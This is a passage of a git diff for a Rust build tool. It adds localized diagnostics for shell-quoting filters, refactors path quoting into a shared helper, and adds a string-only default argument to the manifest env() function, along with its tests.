compact очікував послідовність, але знайшов { $kind }. stdlib.collections.group_by.empty_attribute = group_by потребує непорожнього атрибута. stdlib.collections.group_by.unresolved = group_by не зміг знайти «{ $attr }» в елементі типу { $kind }. diff --git a/locales/vi/messages.ftl b/locales/vi/messages.ftl index 670f06c3f..2deb69fc8 100644 --- a/locales/vi/messages.ftl +++ b/locales/vi/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Hãy thoát dấu gạch chéo ngược hoặc bỏ manifest.env.missing = Một biến môi trường bắt buộc chưa được đặt. manifest.env.invalid_utf8 = Một biến môi trường chứa UTF-8 không hợp lệ. manifest.env.blocked = Quyền truy cập vào biến môi trường đã bị chặn. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Giá trị default của env phải là chuỗi, nhưng nhận được { $kind }. manifest.vars.not_object = Trường `vars` của tệp kê khai phải là ánh xạ hoặc đối tượng. manifest.vars.reserved_name = Khóa `vars` '{ $name }' của tệp kê khai được dành riêng cho hàm trợ giúp mẫu tích hợp; hãy đổi tên biến. manifest.read_failed = Không đọc được tệp kê khai tại { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = truyền luồng stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote mong đợi một chuỗi nhưng lại nhận { $kind }. +stdlib.shell.quote.control_character = Giá trị chứa byte null, ký tự về đầu dòng hoặc xuống dòng không thể đặt trong dấu nháy. +stdlib.shell.dialect_invalid = Phương ngữ shell không xác định { $dialect }; mong đợi một trong { $accepted }. +stdlib.shell.dialect_not_string = Tùy chọn dialect của shell phải là chuỗi, nhưng nhận được { $kind }. +stdlib.shell.join.not_sequence = shell_join mong đợi một dãy nhưng lại nhận { $kind }. +stdlib.shell.join.item_not_string = Phần tử { $index } của shell_join có kiểu { $kind }, không phải chuỗi. +stdlib.shell.positional_option = { $filter } nhận tùy chọn theo từ khóa; hãy viết { $example }. + # Chẩn đoán của hàm trợ giúp đường dẫn. stdlib.path.io.failed = Hành động “{ $action }” thất bại với { $path } ({ $label }). stdlib.path.io.failed_with_detail = Hành động “{ $action }” thất bại với { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Thuật toán băm không đư # Chẩn đoán của các hàm trợ giúp tập hợp. stdlib.collections.flatten.expected_sequence = flatten mong đợi các phần tử của một dãy nhưng lại gặp { $kind }. +stdlib.collections.compact.not_sequence = compact mong đợi một dãy nhưng lại gặp { $kind }. stdlib.collections.group_by.empty_attribute = group_by cần một thuộc tính không rỗng. stdlib.collections.group_by.unresolved = group_by không tìm được “{ $attr }” trên phần tử kiểu { $kind }. diff --git a/locales/zh-Hans/messages.ftl b/locales/zh-Hans/messages.ftl index 95b6edd12..5ac8baf08 100644 --- a/locales/zh-Hans/messages.ftl +++ b/locales/zh-Hans/messages.ftl @@ -138,6 +138,8 @@ manifest.yaml.hint.escape = 请转义反斜杠,或删除无效的转义序列 manifest.env.missing = 未设置必需的环境变量。 manifest.env.invalid_utf8 = 环境变量包含无效的 UTF-8。 manifest.env.blocked = 对环境变量的访问已被阻止。 +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env 的 default 必须是字符串,但收到了 { $kind }。 manifest.vars.not_object = 清单的 `vars` 必须是映射或对象。 manifest.vars.reserved_name = 清单的 `vars` 键 '{ $name }' 已保留给内置模板辅助函数;请重命名该变量。 manifest.read_failed = 无法读取 { $path } 处的清单。 @@ -284,6 +286,17 @@ stdlib.command.output.mode.streaming = 流式 stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote 期望字符串,却收到 { $kind }。 +stdlib.shell.quote.control_character = 含有空字节、回车或换行的值无法加引号。 +stdlib.shell.dialect_invalid = 未知的 shell 方言 { $dialect };应为 { $accepted } 之一。 +stdlib.shell.dialect_not_string = shell 的 dialect 选项必须是字符串,但收到了 { $kind }。 +stdlib.shell.join.not_sequence = shell_join 期望序列,却收到 { $kind }。 +stdlib.shell.join.item_not_string = shell_join 的第 { $index } 项为 { $kind },不是字符串。 +stdlib.shell.positional_option = { $filter } 以关键字接收选项;请写作 { $example }。 + # 路径辅助函数的诊断。 stdlib.path.io.failed = 对 { $path } 执行“{ $action }”失败({ $label })。 stdlib.path.io.failed_with_detail = 对 { $path } 执行“{ $action }”失败:{ $detail }。 @@ -339,6 +352,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = 不支持的散列算法“{ $al # 集合辅助函数的诊断。 stdlib.collections.flatten.expected_sequence = flatten 期望序列元素,却发现 { $kind }。 +stdlib.collections.compact.not_sequence = compact 期望序列,却发现 { $kind }。 stdlib.collections.group_by.empty_attribute = group_by 需要非空的属性。 stdlib.collections.group_by.unresolved = group_by 无法在类型为 { $kind } 的元素上解析“{ $attr }”。 diff --git a/locales/zh-Hant/messages.ftl b/locales/zh-Hant/messages.ftl index 0bec9a67c..f17ef8a93 100644 --- a/locales/zh-Hant/messages.ftl +++ b/locales/zh-Hant/messages.ftl @@ -138,6 +138,8 @@ manifest.yaml.hint.escape = 請逸出反斜線,或移除無效的逸出序列 manifest.env.missing = 未設定必要的環境變數。 manifest.env.invalid_utf8 = 環境變數含有無效的 UTF-8。 manifest.env.blocked = 對環境變數的存取已遭封鎖。 +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env 的 default 必須是字串,但收到 { $kind }。 manifest.vars.not_object = 資訊清單的 `vars` 必須是對應或物件。 manifest.vars.reserved_name = 清單的 `vars` 鍵 '{ $name }' 已保留給內建範本輔助函式;請重新命名該變數。 manifest.read_failed = 無法讀取 { $path } 的資訊清單。 @@ -284,6 +286,17 @@ stdlib.command.output.mode.streaming = 串流 stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote 預期字串,卻收到 { $kind }。 +stdlib.shell.quote.control_character = 含有空位元組、歸位或換行的值無法加上引號。 +stdlib.shell.dialect_invalid = 未知的 shell 方言 { $dialect };應為 { $accepted } 之一。 +stdlib.shell.dialect_not_string = shell 的 dialect 選項必須是字串,但收到 { $kind }。 +stdlib.shell.join.not_sequence = shell_join 預期序列,卻收到 { $kind }。 +stdlib.shell.join.item_not_string = shell_join 的第 { $index } 項為 { $kind },不是字串。 +stdlib.shell.positional_option = { $filter } 以關鍵字接收選項;請寫成 { $example }。 + # 路徑輔助函式的診斷。 stdlib.path.io.failed = 對 { $path } 執行「{ $action }」失敗({ $label })。 stdlib.path.io.failed_with_detail = 對 { $path } 執行「{ $action }」失敗:{ $detail }。 @@ -339,6 +352,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = 不支援的雜湊演算法「{ # 集合輔助函式的診斷。 stdlib.collections.flatten.expected_sequence = flatten 預期序列元素,卻發現 { $kind }。 +stdlib.collections.compact.not_sequence = compact 預期序列,卻發現 { $kind }。 stdlib.collections.group_by.empty_attribute = group_by 需要非空的屬性。 stdlib.collections.group_by.unresolved = group_by 無法在型別為 { $kind } 的元素上解析「{ $attr }」。 diff --git a/src/ir/cmd_interpolate/mod.rs b/src/ir/cmd_interpolate/mod.rs index 6e4d0453d..22962fcc0 100644 --- a/src/ir/cmd_interpolate/mod.rs +++ b/src/ir/cmd_interpolate/mod.rs @@ -7,8 +7,8 @@ //! insertion context. Called by [`super::from_manifest`] during IR lowering. use crate::localization::{self, keys}; +use crate::shell_word; use camino::Utf8PathBuf; -use shell_quote::{QuoteRefExt, Sh}; #[cfg(test)] use std::cell::Cell; @@ -135,18 +135,7 @@ fn quote_paths(paths: &[Utf8PathBuf], shell: RecipeShell) -> Vec { /// Quote one path for the selected legacy recipe interpreter. fn quote_path(path: &Utf8PathBuf, shell: RecipeShell) -> String { - if shell == RecipeShell::PowerShell { - return format!("'{}'", path.as_str().replace('\'', "''")); - } - // Utf8PathBuf guarantees UTF-8, and shell quoting should preserve it. - let bytes: Vec = path.as_str().quoted(Sh); - match String::from_utf8(bytes) { - Ok(text) => text, - Err(err) => { - debug_assert!(false, "shell quoting produced non UTF-8 bytes: {err}"); - String::from_utf8_lossy(err.as_bytes()).into_owned() - } - } + shell_word::quote_word(shell.dialect(), path.as_str()) } /// Escape one path for insertion between existing POSIX double quotes. diff --git a/src/lib.rs b/src/lib.rs index d7fe6e092..d7ae6f0a1 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -27,6 +27,7 @@ pub mod output_prefs; pub mod recipe_shell; mod result_json; pub mod runner; +mod shell_word; #[cfg(test)] mod snapshot_test_support; pub mod status; diff --git a/src/localization/keys.rs b/src/localization/keys.rs index 12ce2e8e7..fb02ae23b 100644 --- a/src/localization/keys.rs +++ b/src/localization/keys.rs @@ -127,6 +127,8 @@ define_keys! { MANIFEST_ENV_MISSING => "manifest.env.missing", MANIFEST_ENV_INVALID_UTF8 => "manifest.env.invalid_utf8", MANIFEST_ENV_BLOCKED => "manifest.env.blocked", + MANIFEST_ENV_ARGS_ERROR => "manifest.env.args_error", + MANIFEST_ENV_DEFAULT_NOT_STRING => "manifest.env.default_not_string", MANIFEST_VARS_NOT_OBJECT => "manifest.vars.not_object", MANIFEST_VARS_RESERVED_NAME => "manifest.vars.reserved_name", MANIFEST_READ_FAILED => "manifest.read_failed", @@ -255,6 +257,15 @@ define_keys! { COMMAND_OUTPUT_MODE_STREAMING => "stdlib.command.output.mode.streaming", COMMAND_OUTPUT_STREAM_STDOUT => "stdlib.command.output.stream.stdout", COMMAND_OUTPUT_STREAM_STDERR => "stdlib.command.output.stream.stderr", + STDLIB_SHELL_ARGS_ERROR => "stdlib.shell.args_error", + STDLIB_SHELL_UNQUOTABLE => "stdlib.shell.unquotable", + STDLIB_SHELL_QUOTE_NOT_STRING => "stdlib.shell.quote.not_string", + STDLIB_SHELL_QUOTE_CONTROL_CHARACTER => "stdlib.shell.quote.control_character", + STDLIB_SHELL_DIALECT_INVALID => "stdlib.shell.dialect_invalid", + STDLIB_SHELL_DIALECT_NOT_STRING => "stdlib.shell.dialect_not_string", + STDLIB_SHELL_JOIN_NOT_SEQUENCE => "stdlib.shell.join.not_sequence", + STDLIB_SHELL_JOIN_ITEM_NOT_STRING => "stdlib.shell.join.item_not_string", + STDLIB_SHELL_POSITIONAL_OPTION => "stdlib.shell.positional_option", STDLIB_PATH_IO_FAILED => "stdlib.path.io.failed", STDLIB_PATH_IO_FAILED_WITH_DETAIL => "stdlib.path.io.failed_with_detail", STDLIB_PATH_IO_FAILED_WITH_LABEL_AND_DETAIL => "stdlib.path.io.failed_with_label_and_detail", @@ -306,6 +317,7 @@ define_keys! { STDLIB_PATH_NOT_REGULAR_FILE => "stdlib.path.contents.not_regular_file", STDLIB_PATH_HASH_UNSUPPORTED_ALGORITHM => "stdlib.path.hash.unsupported_algorithm", STDLIB_PATH_HASH_UNSUPPORTED_ALGORITHM_LEGACY => "stdlib.path.hash.unsupported_algorithm_legacy", + STDLIB_COLLECTIONS_COMPACT_NOT_SEQUENCE => "stdlib.collections.compact.not_sequence", STDLIB_COLLECTIONS_FLATTEN_EXPECTED_SEQUENCE => "stdlib.collections.flatten.expected_sequence", STDLIB_COLLECTIONS_GROUP_BY_EMPTY_ATTR => "stdlib.collections.group_by.empty_attribute", STDLIB_COLLECTIONS_GROUP_BY_UNRESOLVED => "stdlib.collections.group_by.unresolved", diff --git a/src/manifest/env_reader.rs b/src/manifest/env_reader.rs index 1dc4a77b2..553e29a17 100644 --- a/src/manifest/env_reader.rs +++ b/src/manifest/env_reader.rs @@ -118,7 +118,12 @@ pub(super) fn disabled_env_reader() -> EnvReader { Arc::new(|_| Err(EnvReadError::NotPresent)) } -/// Resolve `name` through `read_env`, mapping failures to Jinja errors. +/// Resolve `name` through `read_env`, substituting `fallback` for absence. +/// +/// The access policy is evaluated before the reader, so a blocked name fails +/// here whatever `fallback` holds: supplying a default must not turn a policy +/// refusal into a successful read. Note the asymmetry with `NotUnicode` below, +/// which the fallback does not rescue either. /// /// Failures are traced with only a bounded `failure_kind`, and the localized /// diagnostics carry fixed text. The variable name is deliberately absent from @@ -129,10 +134,20 @@ pub(super) fn disabled_env_reader() -> EnvReader { /// Every lookup is also counted once through /// [`env_telemetry::record_env_lookup`], so an operator can measure the /// blocked rate the access policy produces. The counter carries only the -/// bounded outcome, never the name or the value. -pub(super) fn env_var_with( +/// bounded outcome, never the name or the value. A substituted fallback is +/// *not* a fifth outcome: the lookup genuinely succeeded, so it is counted as +/// one and recorded separately by the `fallback_used` event below. +/// +/// # Errors +/// +/// Returns an `UndefinedError` when the variable is absent and `fallback` is +/// `None`, and an `InvalidOperation` error when the value is not valid UTF-8 — +/// the latter regardless of `fallback`, because a present-but-undecodable +/// value is a configuration fault rather than an absence. +pub(super) fn env_var_with_default( name: &str, policy: &EnvAccessPolicy, + fallback: Option, read_env: impl FnOnce(&str) -> Result, ) -> Result { if policy.evaluate(name).is_err() { @@ -148,16 +163,7 @@ pub(super) fn env_var_with( match read_env(name) { Ok(value) => record_env_lookup(env_telemetry::OUTCOME_SUCCESS, Ok(value)), - Err(EnvReadError::NotPresent) => { - tracing::debug!(failure_kind = "not_present", "manifest env lookup failed"); - record_env_lookup( - env_telemetry::OUTCOME_NOT_PRESENT, - Err(Error::new( - ErrorKind::UndefinedError, - localization::message(keys::MANIFEST_ENV_MISSING).to_string(), - )), - ) - } + Err(EnvReadError::NotPresent) => substitute_fallback(fallback), Err(EnvReadError::NotUnicode) => { tracing::debug!(failure_kind = "not_unicode", "manifest env lookup failed"); record_env_lookup( @@ -171,6 +177,34 @@ pub(super) fn env_var_with( } } +/// Resolve an absent variable against the supplied `fallback`. +/// +/// A fallback present means the lookup succeeded — the manifests asked for a +/// substitution and got one — so it is counted as `success` and marked by a +/// `fallback_used` event, giving an operator a way to see that an exported +/// variable stopped propagating. Its absence is the pre-existing failure. +fn substitute_fallback(fallback: Option) -> Result { + fallback.map_or_else( + || { + tracing::debug!(failure_kind = "not_present", "manifest env lookup failed"); + record_env_lookup( + env_telemetry::OUTCOME_NOT_PRESENT, + Err(Error::new( + ErrorKind::UndefinedError, + localization::message(keys::MANIFEST_ENV_MISSING).to_string(), + )), + ) + }, + |value| { + tracing::debug!( + fallback_used = true, + "manifest env lookup substituted default" + ); + record_env_lookup(env_telemetry::OUTCOME_SUCCESS, Ok(value)) + }, + ) +} + #[cfg(test)] mod tests { //! Direct tests for the process-backed environment adapter. @@ -194,8 +228,10 @@ mod tests { #[case] failure_kind: &str, ) { let events = with_test_subscriber(LevelFilter::DEBUG, |captured| { - env_var_with(SENTINEL, &EnvAccessPolicy::default(), |_| Err(failure)) - .expect_err("the injected reader must fail"); + env_var_with_default(SENTINEL, &EnvAccessPolicy::default(), None, |_| { + Err(failure) + }) + .expect_err("the injected reader must fail"); captured.snapshot() }); @@ -221,8 +257,10 @@ mod tests { #[case] failure: EnvReadError, #[case] expected_kind: ErrorKind, ) { - let error = env_var_with(SENTINEL, &EnvAccessPolicy::default(), |_| Err(failure)) - .expect_err("the injected reader must fail"); + let error = env_var_with_default(SENTINEL, &EnvAccessPolicy::default(), None, |_| { + Err(failure) + }) + .expect_err("the injected reader must fail"); assert_eq!( error.kind(), @@ -241,7 +279,7 @@ mod tests { let policy = EnvAccessPolicy::default().block_var(SENTINEL); let mut reader_was_called = false; let (error, events) = with_test_subscriber(LevelFilter::DEBUG, |captured| { - let error = env_var_with(SENTINEL, &policy, |_| { + let error = env_var_with_default(SENTINEL, &policy, None, |_| { reader_was_called = true; Ok(String::from(SENTINEL_VALUE)) }) diff --git a/src/manifest/env_telemetry.rs b/src/manifest/env_telemetry.rs index 943433b57..cfdf9f6c1 100644 --- a/src/manifest/env_telemetry.rs +++ b/src/manifest/env_telemetry.rs @@ -1,10 +1,10 @@ //! Bounded telemetry for the manifest `env()` lookup boundary. //! -//! Every `env()` call reaches exactly one place: [`super::env_reader::env_var_with`] -//! evaluates the access policy, reads through the injected reader, and maps -//! failures to Jinja errors. That single boundary is therefore also the single -//! telemetry point, and each lookup is counted once under a closed `outcome` -//! vocabulary. +//! Every `env()` call reaches exactly one place: +//! [`super::env_reader::env_var_with_default`] evaluates the access policy, +//! reads through the injected reader, and maps failures to Jinja errors. That +//! single boundary is therefore also the single telemetry point, and each +//! lookup is counted once under a closed `outcome` vocabulary. //! //! The blocked outcome is the reason this series exists. Denying a lookup is //! new behaviour that previously could not occur, so without a counter an diff --git a/src/manifest/mod.rs b/src/manifest/mod.rs index 744ed6f8e..d657a5bba 100644 --- a/src/manifest/mod.rs +++ b/src/manifest/mod.rs @@ -15,7 +15,6 @@ use crate::{ use anyhow::Result; use minijinja::{Environment, UndefinedBehavior}; use serde::de::Error as _; -use std::sync::Arc; mod budget; pub(crate) mod budget_adapter; @@ -43,7 +42,7 @@ mod render; pub type ManifestValue = serde_json::Value; /// JSON object mapping string keys to manifest values. pub type ManifestMap = serde_json::Map; -use self::{env_reader::env_var_with, jinja_macros::register_manifest_macros_with_budget}; +use self::jinja_macros::register_manifest_macros_with_budget; pub use budget::ManifestBudgetLimits; pub use diagnostics::{ ManifestError, ManifestName, ManifestSource, map_data_error, map_yaml_error, @@ -65,7 +64,9 @@ pub(crate) use query::from_path_for_manifest_query; pub(crate) use query::from_path_for_manifest_query_with_limits; #[cfg(test)] use registration::RESERVED_VAR_NAMES; -use registration::{localize_recipe_error, register_manifest_vars}; +use registration::{ + localize_recipe_error, register_env_function, register_glob_function, register_manifest_vars, +}; pub use render::render_manifest; #[cfg(test)] use workspace::open_manifest_workspace; @@ -132,16 +133,8 @@ fn evaluate_manifest( let mut jinja = Environment::new(); jinja.set_undefined_behavior(UndefinedBehavior::Strict); // Expose custom helpers to templates. - let reader = Arc::clone(env_reader); - let policy_for_env_lookup = env_access_policy.clone(); - jinja.add_function("env", move |var_name: String| { - env_var_with(&var_name, &policy_for_env_lookup, |key| reader(key)) - }); - let glob_base = glob::GlobBaseCache::new(manifest_root); - jinja.add_function("glob", move |pattern: String| { - let expansion = glob::expand_manifest_template_glob(&pattern, &glob_base)?; - expansion.into_template_paths(&pattern) - }); + register_env_function(&mut jinja, env_reader, env_access_policy); + register_glob_function(&mut jinja, manifest_root); let _stdlib_state = match stdlib_registration { Some(StdlibRegistration::Full(config)) => { crate::stdlib::register_with_config(&mut jinja, *config) diff --git a/src/manifest/path_loaders.rs b/src/manifest/path_loaders.rs index 0a1e59d7f..8241b235a 100644 --- a/src/manifest/path_loaders.rs +++ b/src/manifest/path_loaders.rs @@ -10,7 +10,7 @@ use super::{ EnvAccessPolicy, EnvReader, ManifestBudgetLimits, ManifestEnvironment, ManifestLoadStage, process_env_reader, query, }; -use crate::{ast::NetsukeManifest, stdlib::NetworkPolicy}; +use crate::{ast::NetsukeManifest, recipe_shell::RecipeShell, stdlib::NetworkPolicy}; use anyhow::Result; use std::path::Path; @@ -149,6 +149,7 @@ pub fn from_path_with_policy_and_env_and_limits( policy, &environment, budget_limits, + RecipeShell::host_default(), on_stage, ) } @@ -177,29 +178,40 @@ pub fn from_path_with_policy_and_environment( policy, environment, ManifestBudgetLimits::default(), + RecipeShell::host_default(), on_stage, ) } -/// Load a manifest with explicit policy, environment inputs, and resource -/// ceilings. +/// Load a manifest with explicit policy, environment inputs, resource +/// ceilings, and recipe interpreter. /// /// This is the fullest-parameterized loader entry point: an injected reader -/// and its access policy, plus the parse ceilings trusted configuration -/// resolved before loading. +/// and its access policy, the parse ceilings trusted configuration resolved +/// before loading, and the interpreter whose quoting rules the template +/// filters follow. +/// +/// `recipe_shell` is the one input here that is *not* re-derivable from the +/// others. A caller that has resolved `NETSUKE_WINDOWS_SHELL` must pass the +/// result in, so the manifest's `shell_quote` and `shell_join` filters quote +/// for the same interpreter that will later receive the generated recipe text. +/// A caller with no resolved interpreter passes +/// [`RecipeShell::host_default`], which is what this repository's convenience +/// wrappers do. /// /// # Errors /// /// Returns an error if the manifest cannot be read, rendered, or parsed. #[expect( clippy::too_many_arguments, - reason = "This compatibility entry point keeps the policy, environment, budget, and stage-observer seams explicit." + reason = "This compatibility entry point keeps the policy, environment, budget, shell, and stage-observer seams explicit." )] pub fn from_path_with_policy_and_environment_and_limits( path: impl AsRef, policy: NetworkPolicy, environment: &ManifestEnvironment<'_>, budget_limits: ManifestBudgetLimits, + recipe_shell: RecipeShell, on_stage: Option<&mut dyn FnMut(ManifestLoadStage)>, ) -> Result { query::from_path_with_policy_and_environment_and_limits( @@ -207,6 +219,7 @@ pub fn from_path_with_policy_and_environment_and_limits( policy, environment, budget_limits, + recipe_shell, on_stage, ) } diff --git a/src/manifest/query.rs b/src/manifest/query.rs index f7e9c619a..4b457abad 100644 --- a/src/manifest/query.rs +++ b/src/manifest/query.rs @@ -48,15 +48,20 @@ pub(crate) fn from_path_for_manifest_query_with_limits( /// Load a full manifest with explicit policy, environment inputs, and /// resource ceilings. +/// +/// `recipe_shell` is the interpreter the runner resolved; the template +/// filters and IR lowering must agree on it, so it is threaded here rather +/// than re-derived from the environment. #[expect( clippy::too_many_arguments, - reason = "This compatibility entry point keeps the established policy, environment, budget, and stage-observer seams explicit." + reason = "This compatibility entry point keeps the established policy, environment, budget, shell, and stage-observer seams explicit." )] pub(super) fn from_path_with_policy_and_environment_and_limits( path: impl AsRef, policy: NetworkPolicy, environment: &ManifestEnvironment<'_>, budget_limits: ManifestBudgetLimits, + recipe_shell: crate::recipe_shell::RecipeShell, on_stage: Option<&mut dyn FnMut(ManifestLoadStage)>, ) -> Result { from_path_with_registration(ManifestLoadRequest { @@ -64,15 +69,33 @@ pub(super) fn from_path_with_policy_and_environment_and_limits( environment, budget_limits, on_stage, - mode: ManifestLoadMode::Full(policy), + mode: ManifestLoadMode::Full { + policy, + recipe_shell, + }, }) } /// Select the standard-library boundary for a manifest load. enum ManifestLoadMode { - /// A normal build load with a configured network policy. - Full(NetworkPolicy), + /// A normal build load with a configured network policy and the + /// interpreter the runner resolved. + Full { + /// Network grant ceiling applied to fetch helpers. + policy: NetworkPolicy, + /// Interpreter whose quoting rules the template filters follow. + recipe_shell: crate::recipe_shell::RecipeShell, + }, /// A metadata-only load that must not construct an ambient stdlib config. + /// + /// The query surface quotes recipe text for the host default interpreter + /// rather than for the shell the build will resolve. **This divergence is + /// deliberate**: `resolve_recipe_shell` sits behind the runner's command + /// dispatch, and reaching it from here would make `netsuke help targets` + /// fail on a host whose `NETSUKE_WINDOWS_SHELL` is malformed — turning a + /// metadata query into a command that can error on configuration it never + /// uses. `tests/stdlib_manifest_query_tests.rs` pins the divergence so it + /// stays a decision rather than becoming a surprise. ManifestQuery, } @@ -108,11 +131,15 @@ fn from_path_with_registration( StdlibRegistration, Option, ) = match request.mode { - ManifestLoadMode::Full(policy) => ( + ManifestLoadMode::Full { + policy, + recipe_shell, + } => ( StdlibRegistration::Full(Box::new( StdlibConfig::new(workspace.dir)? .with_workspace_root_path(&workspace.root)? - .with_network_policy(policy), + .with_network_policy(policy) + .with_recipe_shell(recipe_shell), )), Some(trace_expansion_report), ), diff --git a/src/manifest/registration.rs b/src/manifest/registration.rs index 47d79e5ae..a5a6eb04f 100644 --- a/src/manifest/registration.rs +++ b/src/manifest/registration.rs @@ -1,16 +1,117 @@ -//! Registers user-defined manifest variables and localizes schema diagnostics. +//! Registers the manifest's template helpers and user-defined variables. +//! +//! The `env()` and `glob()` functions belong to the manifest layer rather than +//! the standard library, so they are bound here; `register_manifest_vars` +//! exposes the manifest's own `vars` section afterwards, refusing any variable +//! that would shadow a helper. The same module localizes the schema +//! diagnostics the registration paths produce. -use super::{ManifestError, ManifestName, ManifestValue, map_data_error}; +use super::{ + EnvAccessPolicy, EnvReader, ManifestError, ManifestName, ManifestValue, + env_reader::env_var_with_default, + glob::{GlobBaseCache, expand_manifest_template_glob}, + map_data_error, +}; use crate::{ ast::EMPTY_COMMAND_LIST_ERROR, localization::{self, keys}, }; -use minijinja::{Environment, value::Value}; +use camino::Utf8PathBuf; +use minijinja::{ + Environment, Error, ErrorKind, + value::{Kwargs, Value, ValueKind}, +}; use serde::de::Error as _; +use std::sync::Arc; /// Names the manifest loader reserves for helper functions. pub(super) const RESERVED_VAR_NAMES: [&str; 2] = ["env", "glob"]; +/// Expose the `env()` helper, bounded by the access policy. +/// +/// The reader and the policy are both cloned into the closure so the registered +/// helper outlives the parse inputs it was built from. +pub(super) fn register_env_function( + jinja: &mut Environment<'_>, + env_reader: &EnvReader, + env_access_policy: &EnvAccessPolicy, +) { + let reader = Arc::clone(env_reader); + let policy_for_env_lookup = env_access_policy.clone(); + jinja.add_function("env", move |var_name: String, kwargs: Kwargs| { + let fallback = env_default_from_kwargs(&kwargs)?; + kwargs.assert_all_used()?; + env_var_with_default(&var_name, &policy_for_env_lookup, fallback, |key| { + reader(key) + }) + }); +} + +/// Read the optional `default` keyword argument as a string. +/// +/// Reads `Option` rather than `Option` because `MiniJinja`'s +/// `Option` conversion silently stringifies numbers, booleans, +/// sequences, and mappings — `1` becomes `"1"`, `true` becomes the +/// Python-shaped `"True"` — and that text lands straight in a shell recipe. +/// RFC 0006 §6.6 requires a string helper to reject those instead. +/// +/// # Errors +/// +/// Returns an error for a defined, non-string `default`. An explicit `none` is +/// equivalent to omitting the argument, and undefined cannot be distinguished +/// from absent: `impl ArgType for Option` maps all three onto `None`, so the +/// two-arm match below is exhaustive in practice. +fn env_default_from_kwargs(kwargs: &Kwargs) -> Result, Error> { + kwargs + .get::>("default")? + .map_or_else(|| Ok(None), |value| default_as_string(&value)) +} + +/// Convert a defined `default` into its string form, rejecting other kinds. +fn default_as_string(value: &Value) -> Result, Error> { + value + .as_str() + .map(str::to_owned) + .map(Some) + .ok_or_else(|| default_not_string_error(value.kind())) +} + +/// Build the `env()` error for a `default` that is not a string. +fn default_not_string_error(kind: ValueKind) -> Error { + Error::new( + ErrorKind::InvalidOperation, + env_args_message( + localization::message(keys::MANIFEST_ENV_DEFAULT_NOT_STRING) + .with_arg("kind", kind.to_string()), + ), + ) +} + +/// Prefix an `env()` argument detail with its machine-readable code. +/// +/// The code lives in the Fluent text rather than the English wording, so the +/// diagnostic stays greppable in every locale. +fn env_args_message(detail: impl std::fmt::Display) -> String { + localization::message(keys::MANIFEST_ENV_ARGS_ERROR) + .with_arg("details", detail.to_string()) + .to_string() +} + +/// Expose the `glob()` helper, anchored at the manifest workspace root. +/// +/// A `None` root leaves relative patterns anchored at the process current +/// directory, which is the composition root's fallback. +pub(super) fn register_glob_function( + jinja: &mut Environment<'_>, + manifest_root: Option, +) { + let glob_base = GlobBaseCache::new(manifest_root); + jinja.add_function("glob", move |pattern: String| { + let expansion = expand_manifest_template_glob(&pattern, &glob_base)?; + expansion.into_template_paths(&pattern) + }); +} + /// Translate schema-only recipe errors at the manifest adapter boundary. pub(super) fn localize_recipe_error(error: serde_json::Error) -> serde_json::Error { if error.to_string().starts_with(EMPTY_COMMAND_LIST_ERROR) { diff --git a/src/manifest/tests/env_function.rs b/src/manifest/tests/env_function.rs index 43f6cf0e3..c5c3cc311 100644 --- a/src/manifest/tests/env_function.rs +++ b/src/manifest/tests/env_function.rs @@ -1,40 +1,119 @@ //! Tests for the `env()` Jinja helper's variable resolution. //! -//! These drive `env_var_with` directly, so nothing here mutates the process -//! environment and the cases run concurrently. The non-UTF-8 branch is +//! These drive `env_var_with_default` directly, so nothing here mutates the +//! process environment and the cases run concurrently. The non-UTF-8 branch is //! reachable only this way: fabricating such a value in the live environment //! needs platform-specific `OsString` surgery, and the AGENTS.md testing //! mandate forbids in-process mutation regardless. +//! +//! The `default` argument's *parsing* — which value kinds it accepts, and what +//! an absent or `none` argument means — belongs to the template layer and is +//! covered in `tests/manifest_env_tests.rs`. Here `default` has already been +//! reduced to an `Option`, so the `none` and absent cases are one case. -use crate::manifest::{EnvAccessPolicy, EnvReadError, env_var_with}; -use minijinja::ErrorKind; +use crate::manifest::{EnvAccessPolicy, EnvReadError, env_reader::env_var_with_default}; +use minijinja::{Error, ErrorKind}; use rstest::rstest; -#[test] -fn present_variable_yields_its_value() { - let value = env_var_with("FOO", &EnvAccessPolicy::default(), |_| { - Ok(String::from("bar")) - }); - assert_eq!(value.expect("FOO should resolve"), "bar"); +/// A reader outcome, as the `OBL-ENV-DEFAULT` partition enumerates it. +#[derive(Clone, Copy, Debug)] +enum Read { + /// The variable is present with this value. + Value(&'static str), + /// The variable is absent. + Absent, + /// The variable is present but not valid UTF-8. + NotUnicode, } -/// An empty value is a value, not an absence. -#[test] -fn empty_value_is_returned_rather_than_treated_as_missing() { - let value = env_var_with("FOO", &EnvAccessPolicy::default(), |_| Ok(String::new())); - assert_eq!(value.expect("an empty value is still a value"), ""); +/// The outcome a lookup under test must produce. +#[derive(Clone, Copy, Debug)] +enum Expected { + /// The lookup succeeds with this value. + Value(&'static str), + /// The lookup fails as an undefined value. + Missing, + /// The lookup fails as an invalid operation. + NotUnicode, +} + +/// Resolve `Read::Value(_)` and `Read::Absent` through `fallback`. +fn resolve(read: Read, fallback: Option<&str>) -> Result { + let read_result = match read { + Read::Value(value) => Ok(value.to_owned()), + Read::Absent => Err(EnvReadError::NotPresent), + Read::NotUnicode => 